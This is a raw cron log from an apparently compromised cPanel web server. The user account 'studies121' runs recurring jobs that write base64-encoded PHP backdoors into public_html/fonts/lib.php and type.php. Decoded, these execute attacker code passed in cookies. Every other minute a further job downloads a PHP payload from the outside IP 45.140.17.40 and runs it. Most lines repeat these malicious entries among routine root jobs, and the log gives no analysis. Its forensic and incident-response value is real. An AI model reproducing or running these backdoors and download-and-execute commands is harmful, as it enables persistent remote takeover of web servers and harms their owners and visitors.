Sep 11 07:21:01 ip-184-168-122-23 CROND[24206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:21:01 ip-184-168-122-23 CROND[24205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:21:01 ip-184-168-122-23 CROND[24207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:22:01 ip-184-168-122-23 CROND[24337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:22:01 ip-184-168-122-23 CROND[24336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:22:01 ip-184-168-122-23 CROND[24338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:22:01 ip-184-168-122-23 CROND[24340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:22:01 ip-184-168-122-23 CROND[24339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:23:01 ip-184-168-122-23 CROND[24443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:23:01 ip-184-168-122-23 CROND[24444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:23:01 ip-184-168-122-23 CROND[24445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:23:01 ip-184-168-122-23 CROND[24446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:24:01 ip-184-168-122-23 CROND[24539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:24:01 ip-184-168-122-23 CROND[24541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:24:01 ip-184-168-122-23 CROND[24540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:24:01 ip-184-168-122-23 CROND[24542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:24:01 ip-184-168-122-23 CROND[24538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:25:01 ip-184-168-122-23 CROND[24659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:25:01 ip-184-168-122-23 CROND[24660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:25:01 ip-184-168-122-23 CROND[24663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:25:01 ip-184-168-122-23 CROND[24665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:25:01 ip-184-168-122-23 CROND[24664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:25:01 ip-184-168-122-23 CROND[24667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:26:01 ip-184-168-122-23 CROND[24762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:26:01 ip-184-168-122-23 CROND[24764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:26:01 ip-184-168-122-23 CROND[24768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:26:01 ip-184-168-122-23 CROND[24766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:26:01 ip-184-168-122-23 CROND[24769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:27:01 ip-184-168-122-23 CROND[24891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:27:01 ip-184-168-122-23 CROND[24892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:27:01 ip-184-168-122-23 CROND[24893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:27:01 ip-184-168-122-23 CROND[24897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:28:01 ip-184-168-122-23 CROND[25057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:28:01 ip-184-168-122-23 CROND[25058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:28:01 ip-184-168-122-23 CROND[25063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:28:01 ip-184-168-122-23 CROND[25062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:28:01 ip-184-168-122-23 CROND[25061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:29:01 ip-184-168-122-23 CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:29:01 ip-184-168-122-23 CROND[25162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:29:01 ip-184-168-122-23 CROND[25163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:29:01 ip-184-168-122-23 CROND[25164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:30:01 ip-184-168-122-23 CROND[25284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:30:01 ip-184-168-122-23 CROND[25287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:30:01 ip-184-168-122-23 CROND[25288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:30:01 ip-184-168-122-23 CROND[25291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:30:01 ip-184-168-122-23 CROND[25292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:30:01 ip-184-168-122-23 CROND[25293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:30:01 ip-184-168-122-23 CROND[25297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:30:01 ip-184-168-122-23 CROND[25299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:31:01 ip-184-168-122-23 CROND[25403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:31:01 ip-184-168-122-23 CROND[25404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:31:01 ip-184-168-122-23 CROND[25408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:31:01 ip-184-168-122-23 CROND[25407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:31:01 ip-184-168-122-23 CROND[25409]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 07:32:01 ip-184-168-122-23 CROND[25499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:32:01 ip-184-168-122-23 CROND[25500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:32:01 ip-184-168-122-23 CROND[25504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:32:01 ip-184-168-122-23 CROND[25505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:32:01 ip-184-168-122-23 CROND[25507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:33:01 ip-184-168-122-23 CROND[25588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:33:01 ip-184-168-122-23 CROND[25590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
